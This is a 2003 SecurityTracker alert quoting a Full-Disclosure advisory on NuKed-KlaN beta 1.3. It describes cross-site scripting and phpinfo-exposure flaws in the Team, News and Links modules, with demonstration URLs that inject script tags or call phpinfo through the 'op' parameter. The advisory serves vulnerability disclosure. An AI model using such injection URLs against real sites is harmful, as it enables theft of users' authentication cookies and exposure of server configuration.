NuKed-KlaN Input Validation Flaws in 'index.php' Let Remote Users Conduct Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1006147 |
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Feb 22 2003
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Impact: Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
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Exploit Included: Yes
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Advisory: Security-Corp
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Version(s): beta 1.3
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Description: Several input validation vulnerabilities were reported in NuKed-KlaN. A remote user can conduct cross-site scripting attacks and also obtain information about the server.
Security Corporation reported some input validation flaws in the Team, News, and Links scripts. A remote user can create a specially
crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser.
The code will originate from the site running NuKed-KlaN and will run in the security context of that site. As a result, the code
will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data
recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Some
demonstration exploit URLs are provided:
http://[target]/index.php?file=Team&op=<script>alert('Test');</script>
http://[target]/index.php?file=News&op=<script>alert
('test');</script>
http://[target]/index.php?file=Liens&op=<script>alert('test');</script>
It is also reported that a remote
user can execute the phpinfo() function to cause the server to display PHP information. Some demonstration exploit URLs are provided:
http://[target]/index.php?file=N
ews&op=phpinfo
http://[target]/index.php?file=Team&op=phpinfo
http://[target]/index.php?file=Liens&op=phpinfo
The vendor
has reportedly been notified.
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running NuKed-KlaN,
access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A
remote user can also determine information about the PHP configuration.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.nuked-klan.org/ (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: <gregory.lebras@security-corp.org>
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Message History:
None.
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Source Message Contents
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Date: Sat, 22 Feb 2003 02:43:02 +0100
From: =?iso-8859-1?Q?Gr=E9gory_Le_Bras_|_Security_Corporation?= <gregory.lebras@security-corp.org>
Subject: [Full-Disclosure] [SCSA-006] XSS & Function Execution Vulnerabilities in Nuked-Klan
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________________________________________________________________________
Security Corporation Security Advisory [SCSA-006]
________________________________________________________________________
PROGRAM: Nuked-Klan
HOMEPAGE: http://www.nuked-klan.org
VULNERABLE VERSIONS: beta 1.3
________________________________________________________________________
DESCRIPTION
________________________________________________________________________
Nuked Klan is a PHP Gateway for "clans".
(direct quote from Nuked Klan website)
DETAILS & EXPLOITS
________________________________________________________________________
Many Cross-Site Scripting vulnerabilities have been found in Nuked Klan
which allow attackers to inject script codes into the page and use them
on clients browser as if they were provided by the site.
These Cross-Site Scripting vulnerabilities are found in the following
modules : Team, News, Links(Liens).
An attacker can input specially crafted links and/or other
malicious scripts.
Moreover this vulnerability allows an attacker to reach certain
functions of php.
Team
________________________________________________________________________
A vulnerability was discovered at this adress :
XSS:
----
http://[target]/index.php?file=Team&op=<script>alert('Test');</script>
Function Execution:
-------------------
http://[target]/index.php?file=Team&op=phpinfo
(display phpinfo(); - Outputs lots of PHP information)
News
________________________________________________________________________
A vulnerability was discovered at this adress :
XSS:
----
http://[target]/index.php?file=News&op=<script>alert('test');</script>
Function Execution:
-------------------
http://[target]/index.php?file=News&op=phpinfo
(display phpinfo(); - Outputs lots of PHP information)
Links
________________________________________________________________________
A vulnerability was discovered at this adress :
XSS:
----
http://[target]/index.php?file=Liens&op=<script>alert('test');</script>
Function Execution:
-------------------
http://[target]/index.php?file=Liens&op=phpinfo
(display phpinfo(); - Outputs lots of PHP information)
SOLUTIONS
________________________________________________________________________
No solutions for the moment.
VENDOR STATUS
________________________________________________________________________
The vendor has reportedly been notified. It currently develops a patch.
LINKS
________________________________________________________________________
http://www.security-corp.org/index.php?ink=4-15-1
Version Française :
http://www.security-corp.org/advisories/SCSA-006-FR.txt
------------------------------------------------------------
Grégory Le Bras aka GaLiaRePt | http://www.Security-Corp.org
------------------------------------------------------------
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
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